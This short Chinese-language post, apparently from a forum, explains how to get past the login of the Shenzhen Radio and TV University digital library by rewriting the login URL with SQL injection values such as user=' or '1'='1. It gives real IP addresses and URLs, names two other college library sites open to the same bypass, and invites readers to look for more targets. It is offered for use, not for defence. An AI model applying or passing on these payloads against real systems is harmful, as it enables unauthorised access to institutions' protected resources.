深圳广播电视大学数字图书馆
http://218.17.219.22/bookhtm/index.asp
搜索需要输入用户名、密码
我们可以构造查询条件，突破限制
做法如下：
1.随便输入学号、密码，登陆，例如：学号=1,密码=1.这时会出现“此用户不存在！返回”
ie地址栏中地址为http://218.17.219.22/bookhtm/sq/load.asp?user=1&;mima=1&B1.x=31&B1.y=6
2.修改地址进入：
将上面地址中user=1&mima=1改为:user='or'='&mima=' or''='
或者user=＇or＇1＇=＇1&mima=＇or＇1＇=＇1 也可
就是登陆地址了。
3.登陆后可以随便看了
同样的道理利用这个漏洞，可以登陆另外几个需要输入用户名、密码的站点,需要输入的地方都输上＇or＇＇=＇
如：驻马店电大http://www.zmdtvu.net/dabookhtm/
铜陵电大http://218.22.180.149/index.asp其他的自己好好发掘吧。
user=' or '1'='1&mima=' or '1'='1